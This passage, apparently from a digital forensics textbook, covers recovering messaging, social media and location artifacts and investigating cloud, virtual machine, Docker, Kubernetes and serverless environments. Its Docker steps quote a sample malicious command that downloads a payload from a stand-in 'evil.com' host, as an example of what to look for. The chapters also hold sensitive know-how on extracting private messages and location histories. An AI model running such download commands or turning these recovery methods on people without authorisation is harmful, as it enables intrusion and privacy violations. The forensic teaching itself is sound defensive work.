(5) The tool uses the key to run a decryption process. It changes the encrypted '.crypt14' file into a normal, unencrypted SQLite database named 'msgstore.db'.

(6) This decrypted database can now be opened with a tool like DB Browser for SQLite to analyze messages, timestamps, and communication patterns.

13.3.2 Signal & Telegram Forensics

Very secure messaging apps like Signal and Telegram are designed with privacy and *data minimization* in mind. This means they are built to store as little user data as possible. They use *end-to-end encryption (E2EE)*, a system where only the communicating users can read the messages. This means the service provider cannot access message content, making legal requests for message content from the company useless. The investigation must therefore focus completely on the client device.

Recoverable Artifacts

Even with E2EE, artifacts remain on the device [66].

- **Signal:** While message content is securely stored, the application's cache may contain copies of attachments (images, videos, documents) that were sent or received. The user's contact database can also be recovered, showing their network of connections.
- **Telegram:** This application is known for its large and long-lasting local cache. This cache is a very valuable source of evidence for investigators. It stores copies of media viewed in chats and channels, often without a clear link to a specific conversation, which requires manual analysis.
- **Screenshots:** In many cases involving messages that disappear, the most valuable evidence comes from screenshots or screen recordings of a conversation made by the recipient or even the sender.

Practical Demo: Exploring the Telegram Cache, On a Windows desktop computer, the Telegram cache is usually located at '`C:\Users\<username>\AppData\Roaming\TelegramDesktop\tdata\user\_data\cache`'. In this folder, you will find many files with general names. These are the cached images, videos, GIFs, and documents a user has viewed. An investigator can sort these files by date to match them with a known event, or use special tools to recover and identify important media files, even if the original message is gone.

13.4 Analyzing Social Media Platform Data

Platforms like Facebook, Instagram, TikTok, and X (formerly Twitter) are a key part of modern life and, therefore, a key part of modern investigations.

13.4.1 Facebook, Instagram, and X (Twitter) Artifacts

Device-Side Evidence

Analysis of a user's computer or smartphone can show important activity.

- **Browser Forensics:** A person's web browser contains cookies that show a user logged in, search history that can show what the user was planning, and cached web pages that may contain copies of profiles or posts.
- **Mobile App Caches:** The mobile app's cache folder contains small copies of viewed images and videos, parts of chat histories, and account information. This data is often stored in SQLite (Android) or Plist (iOS) files.

Analyzing Cloud Data Takeouts

The most complete evidence comes from the server. It is usually obtained through a search warrant or by analyzing a "Download Your Information" package that the user can download. These packages, often in a ZIP file, contain an organized copy of the user's complete account history. A typical package from Facebook or Instagram includes:

- Organized folders for messages, posts, photos, and videos.
- HTML or JSON files that contain friend lists, event responses, and group memberships.
- Security logs that list login times, IP addresses used, and account changes.

This data allows an investigator to rebuild a very detailed picture of the user's digital life [86].

Practical Demo: Searching a Facebook Takeout, Once a Facebook data takeout is unzipped into a folder, an investigator can use simple command-line tools to perform powerful searches. For example, to search all message files for a specific phrase on a Linux or macOS system:

```
# Searches (-r) recursively through all files in the 'messages'
# directory for the exact phrase "Example Search Term". The -i
# flag could be added for a case-insensitive search.

grep -r "Example Search Term" /path/to/takeout/messages/
```

This command will instantly show every message file that contains the key phrase, along with the line of text itself. This makes the search for relevant conversations much faster.

13.4.2 TikTok and Discord Forensics

TikTok's Data Structure

As a platform focused on video, TikTok's forensic value comes from how much it uses caching and local storage.

- **Cache Analysis:** The app's cache contains pieces and small copies (thumbnails) of videos the user has watched. This can be very useful for understanding a user's interests or proving they saw certain content.
- **Drafts:** A key artifact is the "drafts" folder. Videos that a user created but never published are often stored on the device in a format that can be fully recovered. These can show what a user was thinking or planning.

Investigating Discord

Discord's structure of servers, channels, and direct messages makes it a popular platform for communities, including those involved in extremism, harassment, and other illegal activities [90].

- **Local Cache:** The Discord application saves a lot of data in its cache. On Windows, this is found in '`C:\Users\<username>\AppData\Roaming\discord\Cache`'.
- **Recoverable Data:** From this cache, an investigator can often recover chat histories from servers and direct messages, user IDs, server information, and links to attached files. Even if a user deletes the application, if this cache folder is not securely erased, the data may remain and can be recovered from a forensic image.

13.5 Advanced Artifact Recovery Techniques

Sometimes, data is not easy to find in an application's database. It might be deleted, temporary, or broken into pieces. Advanced methods are needed to recover these hidden traces.

13.5.1 Recovering Ephemeral Data

Applications like Snapchat and Instagram Stories are built on the idea of "disappearing" content. This is often called *ephemeral data*. However, in digital forensics, "deleted is not gone."

The Illusion of Disappearing Content

When a user "deletes" a file or a temporary message "expires," the data is not erased from the storage drive right away. Instead, the operating system marks the data's location as *unallocated*, which means it is free to be used for

new data. Until it is overwritten, the original data remains physically present on the drive. The main places to look for such data are:

- **RAM:** If a copy of the computer's memory was captured while the application was running, temporary content might be found in memory.
- **Swap Space:** Operating systems use swap space (pagefile.sys on Windows) as virtual memory, and pieces of application data can be found here.
- **Unallocated Space:** This is the most common place to recover deleted files from flash storage (on mobile devices) or hard drives (on computers).

13.5.2 File Carving for Media Fragments

File carving is a technique to search for files in the raw data of a storage device. It looks for files based on their unique content, not on information from the filesystem. It is very good for recovering deleted photos and videos.

How File Carving Works

(1) Get a *full physical forensic image* of the storage device. An image is a perfect, bit-for-bit copy of all the data on the original evidence [33].

(2) Use a forensic tool to find the unallocated space within the image.

(3) Run a specialized carving tool, such as *PhotoRec* or *Foremost*, on the unallocated space.

(4) Tell the tool what file types to look for by giving it their *file signatures*. A signature is a unique pattern of data at the start (header) and end (footer) of a file (e.g., for JPEG, MP4, PNG).

(5) The tool reads the unallocated space in order. When it finds a known header (like 'FF D8 FF E0' for a JPEG file), it starts extracting the data that follows.

(6) It continues to extract data until it finds the matching file footer or reaches a maximum file size.

(7) The carved files are saved to a new folder with general names (e.g., 'f12345.jpg'). The investigator must then look at these recovered files to decide if they are useful as evidence.

13.5.3 Aggregating Geolocation Evidence

A person's location is often a critical piece of an investigation. Modern applications and devices are full of sources of location data.

Sources of Location Data

- **Photo EXIF Data:** When a user takes a photo with a smartphone, the GPS coordinates are often saved directly into the image file's *Exchangeable Image File Format (EXIF)* metadata. EXIF is data stored inside an image file that includes details like date, time, GPS location, and camera settings.
- **Application Databases:** Many social media apps (Facebook, Instagram, X) ask for and store location data when a user "checks in" or adds a location to a post. This data is stored in the app's local SQLite databases.
- **Mobile OS Location Services:** Both Android and iOS keep a history of the device's location for services like "Find My iPhone" or to give location-based suggestions. Google's Location History, which can be accessed through Google Takeout, can provide a minute-by-minute timeline of a user's movements over many years.

Correlating and Visualizing Location Points

The real value of location evidence comes from combining data from different sources. By comparing timestamps from photo EXIF data, application check-ins, and OS location history, an investigator can create a very detailed and confirmed timeline of a person's movements.

Practical Demo: Extracting GPS Data from a Photo, The command-line tool 'ExifTool' is an industry standard for reading metadata [99]. For a photo named 'image.jpg' recovered from a device, an investigator can run the following command:

```
exiftool -gpslatitude -gpslongitude image.jpg
```

The tool will show the GPS coordinates stored in the file, for example:

```
GPS Latitude                    : 40 deg 44' 54.33" N
GPS Longitude                   : 73 deg 59' 9.59" W
```

These coordinates can be entered directly into any map website (like Google Maps or OpenStreetMap) to instantly find the exact location where the photo was taken. This provides a powerful link between the person and a physical place.

Conclusion

In this chapter, we learned that evidence exists in two places: on a user's device and on a company's cloud servers. You learned to analyze databases and cache files on a device and how to use file carving to recover deleted media. An investigator uses these skills to build a timeline of a person's digital life. In the

next chapter, we will learn how to analyze the network traffic these applications create to find even more evidence.

Acronyms and Terminology

ALEAPP Android Logs Events and Protobuf Parser. A forensic tool or script used to process and analyze data from Android devices, including decrypting WhatsApp databases.

Application Artifact Any data that an application creates or leaves behind on a device, including both user-generated content and application-generated data like cache files and logs.

Cache A temporary storage area used by an application to hold data (like thumbnail images) to help it run faster. It can be a valuable source of evidence for content a user has viewed.

Client-Side Data Data stored on a user's personal device (e.g., smartphone or computer). It is often a temporary or partial copy of the full data stored on a server and is considered volatile.

Data Minimization A design principle where applications are built to store as little user data as possible to protect privacy.

Data Takeout A downloadable package provided by a service (like Facebook or Google) that contains a user's complete account history, including messages, posts, photos, and security logs.

E2EE (End-to-End Encryption) A security system where a message is encrypted by the sender and can only be decrypted by the intended recipient, preventing the service provider from accessing the content.

Ephemeral Data Content that is designed to be temporary and "disappear" after a short time, such as in Snapchat or Instagram Stories.

EXIF (Exchangeable Image File Format) Metadata stored directly within an image file that contains information about the photo, such as the date, time, camera settings, and often the GPS coordinates of where it was taken.

File Carving An advanced forensic technique used to recover deleted files by searching the raw data of a storage device for specific file signatures, rather than relying on the filesystem.

File Signature A unique pattern of data at the beginning (header) and end (footer) of a file that identifies the file type (e.g., JPEG, MP4). Used by file carving tools.

Forensic Image A perfect, bit-for-bit copy of all data on a piece of original evidence, such as a hard drive or smartphone's memory. This preserves the evidence in its original state.

JSON (JavaScript Object Notation) A human-readable text format commonly used for storing configuration files, logs, and for transferring data between an app and a server.

Preservation Letter An official legal request sent to a service provider (e.g., Google, Meta) that legally requires them to save all data related to a specific account while the investigator obtains further court orders.

Property List (.plist) A standard file format used by Apple's iOS and macOS to store user settings and application configuration data.

RAM (Random Access Memory) The computer's volatile, short-term memory. Ephemeral data may be recovered from a copy of RAM if it was captured while an application was running.

Root Access Special elevated permissions required on an Android device to access protected system areas, including the private data folders for most applications.

Sandbox A restricted and secure operating environment that isolates an application's data from other apps on the system, commonly used in Android and iOS.

SCA (Stored Communications Act) A United States federal law that governs the privacy of and access to stored electronic communications and records held by third-party service providers.

Search Warrant A court order based on probable cause that compels a service provider to turn over the content of a user's account, such as private messages, photos, and location history.

Server-Side Data The complete and official record of a user's information stored on the service provider's computers (the cloud). It is the most reliable source of evidence and cannot be easily deleted by the user.

SQL (Structured Query Language) A programming language used to manage and search for data within a structured database, such as an SQLite database.

SQLite A self-contained, serverless database format that is very common in mobile and desktop applications for storing structured data like messages, contacts, and logs.

Subpoena A legal order that can compel a company to provide basic subscriber information for an account, such as the user's name, address, and login IP addresses, but not the content of communications.

Unallocated Space The area on a storage drive (like a hard drive or flash memory) that contains data from deleted files. The data remains there until it is overwritten by new data.

XML (eXtensible Markup Language) A human-readable text format, similar to JSON, used for storing and transporting data, often found in configuration files and data exports.

Chapter 14

Cloud and Virtual Environment Forensics

Introduction

When a crime involves computers, the evidence is often in the cloud. Traditional forensic methods, like seizing a physical computer, do not work for cloud services. This chapter teaches the new skills an investigator needs to find and collect digital evidence in cloud and virtual environments. We will explain the main cloud service models, and then show you how to investigate the key technologies they use, including virtual machines, containers, and serverless functions.

14.1 Cloud & Virtualization Forensics

To collect evidence from the cloud, an investigator must first understand its basic structure. The type of digital evidence and how to access it depends on the service model. It also depends on how responsibility is divided between the *Cloud Service Provider (CSP)* and the customer. A CSP is a company that provides cloud computing services.

14.1.1 Defining the Cloud Service Models

The National Institute of Standards and Technology (NIST) defines three main service models. Each model presents different challenges and opportunities for forensic investigators [145].

Infrastructure as a Service (IaaS) In the IaaS model, the CSP provides basic resources like computing power, networking, and storage. The customer rents these resources. The customer must then install and manage the operating system (OS), applications, and data. Examples in-

clude Amazon Elastic Compute Cloud (EC2), Microsoft Azure Virtual Machines, and Google Compute Engine.

Forensic Importance: This model gives the most access to evidence. An investigator can often get complete disk images (called snapshots) of virtual servers. They can also get memory snapshots, detailed network flow logs, and console output. This access is similar to what is possible in traditional forensics on local computers.

Platform as a Service (PaaS) The PaaS model hides the underlying hardware and OS from the customer. The CSP manages the platform, such as a database system or a web application environment. The customer only manages their application code and data. Examples include AWS Elastic Beanstalk, Heroku, and Google App Engine.

Forensic Importance: Access to evidence is much more limited. Investigators cannot access the underlying OS or get a full disk image. The investigation must rely almost completely on application logs and monitoring data that the platform provides. The focus changes from analyzing the machine to analyzing the activity of the application.

Software as a Service (SaaS) In this model, the CSP manages everything. The CSP delivers a complete application to the user over the internet. The customer is only responsible for managing their data and user access inside the application. Examples include Microsoft 365, Google Workspace, and Salesforce.

Forensic Importance: This is the most limited model for collecting evidence. Evidence is only available through the audit logs and user activity reports that the SaaS provider offers. An investigator cannot examine the hardware, platform, or application code. The investigation can only answer the questions: "Who did what, to what data, and when?" using the logs from the provider.

14.1.2 Understanding the Shared Responsibility Model

The *Shared Responsibility Model* is a key security framework. It clearly defines the security duties of the CSP and the customer. For an investigator, this model is a guide. It shows who controls, secures, and has the evidence you need.

A popular way to explain this is: The CSP is responsible for the security **of** the cloud, and the customer is responsible for security **in** the cloud [5].

- **CSP Responsibility (Security *of* the Cloud):** The provider secures the physical hardware that runs the cloud services. This includes datacenter security, the hardware, and the *hypervisor*. The hypervisor is software that creates and runs separate virtual machines. An investigator cannot get hypervisor logs from a customer with a legal warrant. This is because the CSP owns and controls that data.

- **Customer Responsibility (Security *in* the Cloud):** The customer is responsible for everything they put *in* the cloud. In an IaaS model, this includes the *guest OS* (the operating system inside a virtual machine), which they must update and configure. It also includes network security rules (firewalls), *Identity and Access Management (IAM)*, and securing their own data. IAM is the system that controls who can access which resources.

This division of responsibility directly affects legal procedures. If an investigation needs account information (like the name and billing address of an AWS account owner), the legal request must be sent to the CSP. If the investigation needs the data inside a virtual machine in that account, the legal request is usually sent to the customer. This is because the customer owns and controls that data.

14.2 Preparing for Cloud Investigations

In traditional forensics, evidence can stay for a long time on a hard drive that has been seized. In contrast, cloud environments are dynamic and often *ephemeral*, meaning data and systems exist for only a short time. Without preparing in advance, important evidence can be permanently lost just seconds after an incident happens. A successful cloud investigation starts long before any crime is committed.

14.2.1 The Importance of Logging

In ephemeral environments, a virtual server or container might only exist for a few minutes. In these cases, logs are often the *only* remaining evidence of what happened. A common and serious mistake is for organizations to assume that detailed logging is turned on by default. In most cases, the most useful logs for forensics cost extra or must be manually turned on. Waiting until after an incident is too late.

Key logs that must be enabled in advance include:

- **AWS:**
    - **CloudTrail:** Records almost every *API call* made in the account. An API call is a command sent to a cloud service. This is the main tool for tracking user actions and changes to resources. It acts like a surveillance camera watching everything that happens in the account [6].
    - **VPC Flow Logs:** Records information about IP traffic for network interfaces. These logs are essential for analyzing network connections and finding unusual traffic.
    - **S3 Access Logs:** Records all requests made to an S3 bucket. This is very important for investigating cases where data was stolen.

- **GuardDuty:** A service that detects threats by analyzing other logs to find malicious activity. It creates its own alerts, which are often the starting point for an investigation.

- **Azure:**
  - **Azure Monitor Logs:** The main logging service for Azure. It collects platform logs, activity logs (actions in the management system), and resource logs.
  - **Network Security Group (NSG) Flow Logs:** The Azure version of VPC Flow Logs, used for analyzing network traffic [149].
  - **Diagnostic Settings:** These settings must be configured for each resource to send detailed logs to a central Log Analytics Workspace or a storage account.

- **Google Cloud Platform (GCP):**
  - **Cloud Audit Logs:** These are divided into Admin Activity, Data Access, and System Event logs. Data Access logs are often the most valuable for forensics. They are usually turned off by default and must be manually enabled [88].
  - **VPC Flow Logs:** Captures network flow information for monitoring and forensics.

14.2.2 Creating Emergency Forensic Access

During a security incident, time is very important. Searching for the right permissions or creating powerful admin users in a panic can cause mistakes and destroy evidence. A good practice is to create a pre-approved, role-based account specifically for forensic use in emergencies. This role should have only the specific, limited permissions needed to collect evidence, and nothing more. This *principle of least privilege*, which means giving only the minimum necessary permissions, reduces the risk of accidentally changing the environment.

Necessary permissions in Identity and Access Management (IAM) usually include the power to:

- List resources (e.g., virtual machines, storage volumes).
- Create disk snapshots.
- Copy snapshots to a secure, isolated forensic account or storage bucket.
- Describe network configurations.
- Access and download log archives.

It is very important that this role does *not* have permission to delete resources, change security settings, or start/stop machines. This prevents the accidental damage or destruction of evidence, which is called *spoliation*.

Listing 14.1: An example AWS IAM policy for a limited forensic role.

```
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "ec2:DescribeInstances",
                "ec2:DescribeVolumes",
                "ec2:DescribeSnapshots"
            ],
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": "ec2:CreateSnapshot",
            "Resource": "arn:aws:ec2:us-east-1:123456789012:volume/*"
        },
        {
            "Effect": "Allow",
            "Action": "ec2:CopySnapshot",
            "Resource": "*"
        },
        {
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": "arn:aws:s3:::forensic-log-archive/*"
        }
    ]
}
```

14.2.3 Automating the Collection of Forensic Evidence

The speed and size of the cloud make it possible to automate the first steps of a forensic response. Services like AWS Lambda or Azure Functions can be set up to run automatically when a security alert occurs. For example, a serious alert from AWS GuardDuty (like "A virtual machine is communicating with a known malicious IP address") could start a Lambda function that automatically:

(1) Attaches a strict security group to the machine to isolate it from the network.

(2) Starts a snapshot of the machine's main storage volume (the EBS volume).

(3) Copies the snapshot to a secure S3 bucket used for forensics.

(4) Sends a notification to the security team.

This automated process makes sure that important *volatile evidence* is saved within seconds. Volatile evidence is data that can be lost when a system is turned off or changed. This process saves the evidence before an attacker or a human investigator can change the system.

14.3 Collecting Evidence from CSP

In the cloud, we do not physically take hardware. Instead, we perform *logical acquisition*, which means we collect a copy of the data. Evidence is collected by making authenticated API calls, not by using a hardware device. The main tools for this are the *Command Line Interfaces (CLIs)* provided by each company, such as AWS CLI, Azure CLI, and gcloud CLI. A CLI is a text-based program for running commands. Investigators can also use *Software Development Kits (SDKs)*, which are sets of tools for building software. Specialized commercial tools like CADO Response or Magnet AXIOM Cloud simplify this process. They provide a user-friendly interface that handles the API calls for the investigator [29, 136].

14.3.1 Collecting IaaS Evidence (AWS, Azure, GCP)

Disk Snapshots

In the cloud, creating a disk image (like a ‘.dd‘ or ‘.E01‘ file) is done by creating a *snapshot* of a storage volume. Examples of storage volumes are Amazon EBS, Azure Disk, and Google Persistent Disk. A snapshot is a complete, bit-for-bit copy of the volume at a specific moment. This copy can be analyzed without changing the live system.

Usually, a single CLI command creates a snapshot. For example, to create a snapshot of a specific EBS volume in AWS:

Listing 14.2: Using the AWS CLI to create a volume snapshot.

```
aws ec2 create-snapshot --volume-id vol-012345abcdef12345 \
    --description "Forensic image of web-prod-1 (Case 2025-042)"
```

After the snapshot is created, it can be attached to another virtual machine for analysis. It can also be downloaded to be examined with traditional forensic tools.

Collecting Logs

As we explained, logs are extremely important. They are usually stored in the cloud's own *object storage* services. An object storage service is designed to hold large amounts of unstructured data. Examples include Amazon S3, Azure

Blob Storage, and Google Cloud Storage. Collecting them involves using the CLI to list and download the correct log files. These files are often compressed and sorted by date, service, and location. An important first step is to filter the logs by a specific time period. This reduces the amount of data to analyze.

Network Traffic Capture

VPC Flow Logs and similar logs provide *metadata* about network connections. Metadata is data that describes other data, such as source and destination IP addresses, ports, protocols, and the amount of data transferred. While these logs are useful, they do not include the actual content of the network packets, which is called the *payload*. To capture the full content of packets (a process called *PCAP*), investigators can use more advanced services. PCAP is like using a physical network tap to copy all traffic. A service for this is **AWS VPC Traffic Mirroring** [7]. This feature copies all network traffic from a specific virtual machine's network interface. It then sends the traffic to a target, such as a security tool or a special forensic machine running Wireshark. This allows for *deep packet inspection*, which is the detailed analysis of network packet contents.

14.3.2 Collecting SaaS Evidence (M365 & Google Workspace)

In a SaaS investigation, the focus changes from infrastructure to user activity logs provided by the application.

The Unified Audit Log (UAL) in Microsoft 365

The UAL is the most important part of any Microsoft 365 investigation. It combines user and administrator actions from all Microsoft 365 applications, including Exchange Online, SharePoint Online, OneDrive, and Microsoft Teams, into one searchable log [151]. Investigators need to know about licensing. Standard licenses might only keep logs for a short time (for example, 90 days). More expensive E5 licenses keep logs for longer and offer better *eDiscovery* features. eDiscovery refers to the process of finding electronic data for legal cases.

Google Workspace Audit Logs

Google Workspace also provides a complete set of audit logs in its Admin console. Key logs include Login, Admin, Drive, and Token audit logs. These logs can be used to find suspicious logins, unauthorized changes by administrators, or unusual data access in Google Drive. For large-scale analysis, you can export the data using the Reports API. You can also connect it to the Security Center for more advanced investigation of threats [87].

14.3.3 Legal and Jurisdictional Challenges

Cloud forensics has serious legal complications that usually do not exist in cases with local hardware.

Data Sovereignty and Location

Cloud data can move easily. A customer might be in the United States, but their data could be stored in an Irish datacenter to be closer to European customers. This creates a problem of *data sovereignty*. This term means asking which country's laws control the data. An investigator in the U.S. might need a *Mutual Legal Assistance Treaty (MLAT)* to get data from another country. An MLAT is a formal agreement between countries to help each other in legal cases. This process can be very slow and difficult. CSPs offer services that help customers keep data inside certain geographic areas. However, the investigator must first find out where the target data is actually located.

Sending Legal Requests to CSPs

All major CSPs have official procedures for handling requests from law enforcement [150]. It is very important to understand what kind of data the CSP can give you. Usually, they can provide *non-content records* in response to a *subpoena*. Non-content records are information about an account, like the owner's name, email, and billing address. A subpoena is a legal order to provide documents. They can also provide some IP login history. But to get the actual *content* of a customer's account (like the files in their virtual machine or their emails), a *search warrant* is usually needed. A search warrant is a legal document authorizing a search. The request often must be made to the customer, who owns the data.

14.4 Virtual Machine and Hypervisor Forensics

Virtualization is the main technology that makes cloud computing possible. As mentioned earlier, a *hypervisor* (also called a Virtual Machine Monitor) is the software that creates and runs *virtual machines (VMs)*. A VM is a software-based computer that runs inside another computer. It is essential to understand how to analyze these parts, both in the cloud and in local virtualized datacenters.

14.4.1 Analyzing Virtual Disk Images

A snapshot from an IaaS provider or a file from a local hypervisor gives you a *virtual disk image*. This is a file that acts like a physical hard disk. Common formats include:

- **VMDK** (Virtual Machine Disk) used by VMware products.
- **VHD/VHDX** (Virtual Hard Disk) used by Microsoft Hyper-V.
- **VDI** (Virtual Disk Image) used by Oracle VirtualBox.

These files are basically containers that hold a complete filesystem. Forensic tools like Arsenal Image Mounter, EnCase, or FTK Imager can *mount* these

image files. Mounting makes the virtual disk image appear like a real physical disk connected to the investigator's computer. This allows the investigator to look through the file system, search for deleted files (a process called *carving*), and analyze evidence using traditional forensic methods.

14.4.2 Live Analysis and Memory Acquisition

Collecting VM Memory

Collecting memory is very important for capturing volatile data such as running processes, active network connections, loaded kernel modules, and, most importantly, cryptographic keys that might be needed to decrypt an encrypted file system. There are two main methods for collecting VM memory:

(1) **Snapshotting at the Hypervisor Level:** Many business-level hypervisors (like VMware vSphere) have an option to include the VM's memory when creating a snapshot. This creates a separate '.vmem' file with the memory data, next to the '.vmdk' disk file. This is the best method from a forensic standpoint because it happens outside the guest OS.

(2) **Tools Inside the Guest OS:** If you cannot access the hypervisor, you can run a memory collection tool like 'dumpit.exe' or 'WinPmem' inside the live guest OS. This tool will copy the OS's own memory to a file.

For local hypervisors that run on top of an existing OS (called *type-2 hypervisors*), like VirtualBox, you can use the command-line tool to save the memory.

Listing 14.3: Using the VBoxManage command to save the memory of a running VM.

```
# Command to dump the memory core of a running virtual machine
VBoxManage debugvm "Windows 10" dumpguestcore --filename win10.dmp
```

Analyzing VM Memory Dumps

Once you have a memory dump file, the Volatility Framework is the standard tool used by professionals to analyze it [209]. Volatility 3 can read memory dumps from Windows, Linux, and macOS systems to pull out a large amount of forensic information. Key plugins include:

- 'windows.pslist': Lists the processes that were running at the time of acquisition.
- 'windows.netscan': Shows active network connections. This can reveal communication with a *Command and Control (C2)* server or show that data was being stolen.
- 'windows.cmdline': Displays the command-line arguments used to launch processes, often revealing attacker commands.

- ‘windows.filescan‘: Scans for file objects in memory, which can help find malware that was executed but never written to disk.

14.4.3 Hypervisor-Level Investigation

Hypervisor Logs as Evidence

The hypervisor itself contains a lot of evidence. This is especially true in cases that involve insider threats or when someone tries to hide their actions. Logs from hypervisors like VMware ESXi (e.g., ‘/var/log/vmkernel.log‘), Microsoft Hyper-V, or Xen can reveal:

- Timestamps for VM power-on, power-off, creation, and deletion.
- VM migration events (like vMotion), which show if a VM was moved to a different physical computer to avoid being found.
- Cloning and snapshotting activities, which could indicate an attacker creating a copy of a server for offline analysis.

A real-world insider threat case illustrates this perfectly. A system administrator used their login details to create an unauthorized virtual machine, sometimes called ”shadow IT”, on a company VMware ESXi server. They installed crypto-mining software on this VM. At first, the alerts about slow performance did not show the cause of the problem. But when investigators analyzed the ESXi host logs, they found that a new, unapproved VM had been created. The logs connected this VM to the administrator’s account. The logs also showed that this VM was using an extremely high amount of CPU power for a long time. This confirmed the crypto-mining activity and provided the key evidence needed to take action against the employee.

Investigating Host and Guest Interaction Evidence

Software packages like VMware Tools or VirtualBox Guest Additions provide helpful features that can leave behind forensic evidence. These tools often enable a shared clipboard or drag-and-drop file transfers between the host machine and the guest VM. An investigator should look for evidence related to these tools to see if data was moved between the host computer and the guest VM.

14.5 Container Forensics (Docker & Kubernetes)

Containers, which are made popular by technologies like Docker, are another level of separation in computing. They are designed to be small, unchangeable (*immutable*), and short-lived (*ephemeral*). This creates a big challenge for forensics. Often, the investigation must focus on the host computer that ran the container and the *orchestration platform* that managed it, because the container itself may be gone. An orchestration platform is a tool that automates the management of containers.

14.5.1 Docker Host Analysis

Understanding a Docker Host

Most Docker evidence is located in the '/var/lib/docker' directory on a Linux computer. Understanding the structure of this directory is key to a Docker forensic investigation .

- **Images and Layers:** Docker images are built from a set of read-only layers. This system uses a *copy-on-write (CoW)* filesystem. In a CoW system, when a change is made (like adding a file), a new layer is created instead of changing the original. By analyzing these layers, an investigator can find out exactly when a malicious file or a bad configuration change was added to an image.
- **Containers:** A running container is just the read-only image plus a thin, writable layer on top of it. Any changes made while the container is running are stored in this writable layer. Even for a stopped container, this writable layer can be mounted and analyzed to recover filesystem changes.
- **Volumes:** *Volumes* are how Docker stores data permanently. They are folders on the host computer's filesystem that are connected to a container. Volumes exist even after the container is deleted. Because of this, they are a very important place to search for user data, logs, and files placed by an attacker.
- **Networks:** Docker creates virtual networks so containers can communicate with each other. By investigating special network setups, an investigator can learn how an attacker moved from one container to another (*lateral movement*) or connected to the host computer's network.

Essential Docker Commands for Forensics

Performing live analysis on a Docker host can give you fast results. The 'docker inspect' command provides a large amount of metadata about a container or image. The output is in JSON format.

Listing 14.4: Using 'docker inspect' to get information about a container.

```
# This command outputs detailed info including network settings and volume mount
docker inspect suspicious_container_id
```

Step-by-Step Guide: Analyzing a Suspicious Docker Image

The layered nature of Docker images provides a built-in audit trail.

(1) **View History:** Use the 'docker history <image_name>' command to see the command that created each layer, along with the layer's hash. Look for suspicious commands like 'ADD', 'COPY', or 'RUN'. These commands

might be used to download malicious scripts or add secret ways to access the system (*backdoors*).

(2) **Identify Suspicious Layer:** Note the layer hash associated with a suspicious command (e.g., 'RUN wget http://evil.com/malware -O /payload').

(3) **Export Filesystem:** Save the entire image to a '.tar' file using the command 'docker save <image_name> -o image.tar'.

(4) **Examine Layers:** Extract the files from the '.tar' archive. Each layer is in its own folder, named with its hash. Go to the folder for the suspicious layer you found in Step 2.

(5) **Find Evidence:** Look inside that layer's own archive file ('layer.tar'). Find the malicious file (for example, '/payload') that the suspicious command added. This will prove how and when the image was attacked.

14.5.2 Kubernetes (K8s) Forensics

As mentioned earlier, *orchestration platforms* automate container management. *Kubernetes* is the most popular orchestration platform for deploying, scaling, and managing applications that use containers. In a Kubernetes environment, the investigation must also include the orchestration system itself. The key parts of Kubernetes are: **Pods**, which are groups of one or more running containers; **Nodes**, which are the computers or VMs that run the Pods; and the **Control Plane**, which is the "brain" that manages the entire system (called a *cluster*).

Key Sources of Evidence in a Kubernetes Cluster

- **Control Plane Logs:** The API Server audit log is the most important source of evidence in a Kubernetes cluster [200]. It records every request made to the API, answering: who did what, from where, and when? This includes every 'kubectl exec' command (which runs a command inside a container), every time a pod is created, and every change to network rules.
- **Node-Level Logs:** On the worker node where the suspicious container was running, you can check standard Linux logs (using 'journalctl') and logs from the 'kubelet' service. The 'kubelet' is the agent that runs on each node. These logs give information about what happened to the pod.
- **Container Logs:** The application logs from inside the container are essential. You can view them with 'kubectl logs <pod_name>'. However, an attacker might have deleted them.
- **'etcd' Database:** This is a database that stores the complete state of the Kubernetes cluster. Analyzing it directly is difficult and usually done only if other methods fail. However, it contains the final, true record of the cluster's configuration.

14.6 Serverless and Ephemeral Environments

Serverless computing, also known as *Functions as a Service (FaaS)*, is the highest level of abstraction in the cloud. Platforms like AWS Lambda and Azure Functions run code in response to specific events. The CSP completely manages the underlying hardware and software. The investigator has zero access to the OS.

14.6.1 Serverless (FaaS) Forensic Principles

In a serverless investigation, the only evidence is usually the logs and the code. Instead of asking traditional forensic questions about disks or memory, the investigator must ask:

- What event triggered the function to run?
- What code was actually executed?
- What data did the function access or modify?
- What credentials and permissions did the function use?

14.6.2 Reconstructing a Serverless Incident

Execution Logs (AWS CloudWatch): These logs are the main source of evidence. Every time a Lambda function runs (*an invocation*), it creates logs in CloudWatch. These logs show how long it ran, how much memory it used, and any output or errors from the code. An execution time that is much longer than normal, or an error message, could be a sign of suspicious activity.

Tracing and Correlation IDs: Modern applications are often built from many small services and functions. A single user request might start a chain of events: it hits an API Gateway, which starts a Lambda function, which then reads from a DynamoDB database. It is impossible to follow this path without a way to link the events. Services like AWS X-Ray add a unique *trace ID* to each request. This ID allows an investigator to connect the logs from all the different services. This helps rebuild the complete path of a single transaction from start to finish.

Code and Configuration Analysis: The last parts of the investigation are the function's code and its configuration. Analyzing the code can show security weaknesses or malicious commands. Equally important is reviewing the IAM role attached to the function. A common attack method is to compromise a function that has too many permissions (for example, full access to all S3 buckets). This gives an attacker a large "blast radius", meaning they can do a lot of damage by accessing or stealing data from many other places.

Conclusion

In this chapter, we learned that cloud investigations focus on collecting logs and data through APIs instead of seizing hardware. The key skills are understanding the different cloud models (IaaS, PaaS, SaaS) and knowing how to find evidence in virtual machines and containers. This allows an investigator to trace an attacker's activity across complex systems, even when the data is temporary. In the next chapter, we will build on this knowledge to examine the specific artifacts left behind by the Windows operating system.

Acronyms and Terminology

API call Application Programming Interface call: A command sent to a cloud service, often over the internet, to perform a specific action like creating a server or retrieving data.

AWS Amazon Web Services: A major cloud service provider offering a wide range of services, including compute (EC2), storage (S3), and logging (CloudTrail).

Backdoor A secret method of bypassing normal security controls to gain unauthorized remote access to a computer system.

Blast Radius The potential extent of damage or impact that can occur from a security breach of a single component or account.

C2 Command and Control: Refers to a server controlled by an attacker that is used to send commands to compromised systems and receive stolen data from them.

Carving A forensic technique for recovering files from a disk by searching for file signatures, often used when file system information is damaged or deleted.

CLI Command Line Interface: A text-based program used by investigators and administrators to run commands and interact with cloud services or operating systems.

CloudTrail An AWS service that records API calls and user activity within an AWS account, acting as a primary audit log for forensic investigations.

Cluster In the context of Kubernetes, a set of worker machines (nodes) that run containerized applications managed by a central control plane.

